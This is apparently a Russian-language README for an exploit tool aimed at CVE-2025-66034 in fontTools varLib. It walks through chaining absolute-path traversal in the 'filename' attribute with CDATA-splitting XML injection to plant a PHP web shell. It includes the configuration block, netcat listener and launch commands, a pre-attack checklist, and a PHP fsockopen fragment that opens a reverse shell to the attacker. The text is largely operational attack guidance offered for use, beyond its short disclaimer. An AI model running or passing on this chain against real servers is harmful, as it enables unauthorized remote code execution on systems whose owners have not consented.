
Автоматизированный эксплойт для CVE-2025-66034, объединяющий обход пути и XML-инъекцию в fontTools varLib для достижения неавторизованного удаленного выполнения кода через загрузку специально сформированного файла .designspace.
fontTools varLib — Произвольная запись файла + XML-инъекция → Удаленное выполнение кода
CVE-2025-66034 — это уязвимость в конвейере генерации вариативных шрифтов fontTools.varLib. Когда веб-приложение предоставляет доступ к этому конвейеру и принимает пользовательские файлы .designspace, две слабости объединяются для достижения неаутентифицированного удаленного выполнения кода.
font_varlib.py автоматизирует полную цепочку эксплуатации — генерацию шрифта, создание полезной нагрузки, загрузку и доставку обратного шелла.
Злоумышленник создаёт вредоносный .designspace
│
├── <variable-font filename="/var/www/html/files/shell.php">
│ └── ОБХОД ПУТИ
│ os.path.join(output_dir, absolute_path)
│ → output_dir отбрасывается → запись в корень веб-сервера
│
└── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
└── XML-ИНЪЕКЦИЯ
Разделение CDATA внедряет сырой PHP
в двоичный файл выходного шрифта
│
▼
fontTools.varLib.main() обрабатывает файл на стороне сервера
│
▼
shell.php записывается в каталог, доступный через веб
│
▼
GET /files/shell.php → PHP выполняется → обратный вызов шелла
│
▼
RCE как www-data
Python: 3.9+
Зависимости:
pip install fonttools requests
Система:
nc (netcat) — требуется для автоматического режима прослушивания (--no-listen пропускает это)
git clone https://github.com/yourhandle/font_varlib
cd font_varlib
pip install fonttools requests
Перед запуском откройте font_varlib.py и обновите блок конфигурации в начале файла в соответствии с вашей целью. Каждое значение имеет встроенный комментарий, объясняющий, что это такое и как найти правильное значение.
# ══════════════════════════════════════════════════════════════════════════════
# ЗНАЧЕНИЯ ПО УМОЛЧАНИЮ
# Измените их в соответствии с вашей целью перед запуском.
# Все значения также могут быть переопределены во время выполнения с помощью флагов CLI — см. --help.
# ══════════════════════════════════════════════════════════════════════════════
# Базовый URL хоста загрузки (сайт, который принимает .designspace)
UPLOAD_HOST = "http://test.com"
# Путь на хосте загрузки, который обрабатывает multipart POST-запрос
# Подтвердите с помощью Burp — ищите POST после нажатия кнопки генерации
UPLOAD_ENDPOINT = "/tools/variable-font-generator/process"
# Абсолютный путь файловой системы на сервере, куда записываются выходные файлы
# Должен быть доступен через веб, чтобы шелл можно было запустить по HTTP
WEBROOT = "/var/www/test.com/public/files"
# Базовый URL для получения/запуска записанного файла шелла
# Соответствует WEBROOT на диске
SHELL_HOST = "http://testing.test.com/files"
# Имена полей multipart формы — подтвердите с помощью Burp перед запуском
# Если загрузка молча завершается ошибкой (HTTP 200, но нет шелла), вероятно, неправильные имена полей
FIELD_DESIGNSPACE = "designspace"
FIELD_MASTERS = "masters"
# Префикс имени файла шелла — случайный суффикс добавляется во время выполнения
SHELL_PREFIX = "f0nt_"
# Длина случайного суффикса — длиннее = сложнее угадать
SHELL_SUFFIX_LEN = 8
Совет: Перехватите легитимный запрос на загрузку в Burp Suite, чтобы подтвердить
UPLOAD_ENDPOINTи точные имена multipart полей перед запуском. Несовпадение имен полей приводит к молчаливой ошибке — сервер возвращает HTTP 200, но шелл не записывается.
python3 font_varlib.py --ip <IP_АТАКУЮЩЕГО> --port <ПОРТ>
# Терминал 1 — запустите слушатель
nc -lvnp 4444
# Терминал 2 — запустите эксплойт без автоматического слушателя
python3 font_varlib.py --ip <IP_АТАКУЮЩЕГО> --port 4444 --no-listen
python3 font_varlib.py \
--ip 10.10.14.5 \
--port 4444 \
--upload http://target.htb/tools/variable-font-generator/process \
--webroot /var/www/html/files \
--shell http://target.htb/files
Программно генерируются два минимальных, но структурно корректных исходных файла .ttf с помощью fontTools.FontBuilder. Для обработки вариативного шрифта varLib требуется как минимум два мастер-эксцентриситета — эти файлы удовлетворяют этому требованию без необходимости наличия реальных файлов шрифтов на диске.
Создается вредоносный XML-файл .designspace, содержащий оба примитива атаки:
Примитив 1 — XML-инъекция через разделение CDATA:
<labelname xml:lang="en">
<![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
</labelname>
Последовательность ]]]]><![CDATA[> завершает текущий блок CDATA и немедленно открывает новый. XML-парсер обрабатывает это как корректную разметку, но varLib сериализует содержимое дословно в выходной файл — внедряя сырой PHP в двоичный файл шрифта.
Примитив 2 — Обход пути через атрибут filename:
<variable-font name="MaliciousFont" filename="/var/www/html/files/shell.php">
varLib строит выходной путь как:
output_path = os.path.join(output_dir, filename)
Когда filename является абсолютным путем, os.path.join() в Python полностью отбрасывает output_dir. В затронутых версиях санитизация отсутствует.
Файл .designspace и оба файла .ttf отправляются как multipart POST на конечную точку генерации шрифта цели, используя имена полей, подтвержденные в Burp.
HTTP GET к записанному .php файлу выполняет обратный шелл, который подключается обратно к слушателю nc атакующего через fsockopen + proc_open — на цели не требуется curl, wget или Python.
fontTools/varLib/__init__.py (затронутые версии):
filename = vf.filename # контролируется атакующим, не санитизировано
output_path = os.path.join(output_dir, filename) # обход пути через абсолютный путь
vf.save(output_path) # произвольная запись файла
Патч в 4.60.2 — применяет os.path.basename() к filename перед построением output_path, удаляя все последовательности обхода пути.
Перед запуском убедитесь, что выполнены все следующие условия:
[ ] Версия fonttools на цели >= 4.33.0 и < 4.60.2
[ ] Цель принимает загрузку файлов .designspace + .ttf
[ ] Бэкенд вызывает fontTools.varLib.main() для загруженного .designspace
[ ] Имена полей формы загрузки подтверждены с помощью Burp (designspace + masters)
[ ] WEBROOT доступен через веб извне
[ ] WEBROOT доступен для записи веб-процессом (www-data или эквивалент)
[ ] SHELL_HOST (--shell) достижим с вашей машины
[ ] Имя хоста цели указано в /etc/hosts
| Окружение | Версия fonttools | Результат |
|---|---|---|
| Ubuntu 22.04 / Python 3.11 | 4.59.0 | ✓ Подтверждено |
Этот инструмент предоставляется только для образовательных и авторизованных целей безопасности.
Не используйте его против любой системы, которой вы не владеете или на тестирование которой у вас нет явного письменного разрешения. Автор не несет ответственности за неправомерное использование или любой ущерб, причиненный этим программным обеспечением.
| Поле | Значение |
|---|
| CVE ID | CVE-2025-66034 |
| GHSA | GHSA-768j-98cg-p3fv |
| Пакет | fonttools (pip) |
| Затрагиваемый диапазон | >= 4.33.0, < 4.60.2 |
| Исправлено в | 4.60.2 |
| Серьезность | Умеренная (CVSS 6.3) |
| Вектор атаки | Локальный (требуется загрузка файла на цель) |
| Требуемые привилегии | Отсутствуют |
| Взаимодействие с пользователем | Требуется (триггер загрузки) |
| # | Примитив | CWE | Основная причина |
|---|
| 1 | Обход пути | CWE-22 | Атрибут filename в .designspace передается напрямую в os.path.join() без санитизации — абсолютные пути полностью отбрасывают целевой выходной каталог |
| 2 | XML-инъекция | CWE-91 | CDATA-секции <labelname> позволяют использовать разделительную последовательность (]]]]><![CDATA[>) для протаскивания сырого PHP мимо XML-парсера в записываемый выходной файл |
| Аргумент | Обязателен | По умолчанию | Описание |
|---|
--ip | ✓ | — | IP слушателя атакующего |
--port | ✓ | — | Порт слушателя атакующего |
--upload | UPLOAD_HOST + UPLOAD_ENDPOINT | Конечная точка загрузки (POST) | |
--webroot | WEBROOT | Путь записи на серверной файловой системе (должен быть доступен через веб) | |
--shell | SHELL_HOST | Базовый URL для запуска записанного шелла | |
--no-listen | false | Пропустить автоматический слушатель nc — только триггер |
| Ресурс | Ссылка |
|---|
| NVD — CVE-2025-66034 | https://nvd.nist.gov/vuln/detail/CVE-2025-66034 |
| Рекомендация fontTools по безопасности | https://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fv |
| Коммит с исправлением — a696d5b | https://github.com/fonttools/fonttools/commit/a696d5ba93270d5954f98e7cab5ddca8a02c1e32 |
| Проект fontTools | https://github.com/fonttools/fonttools |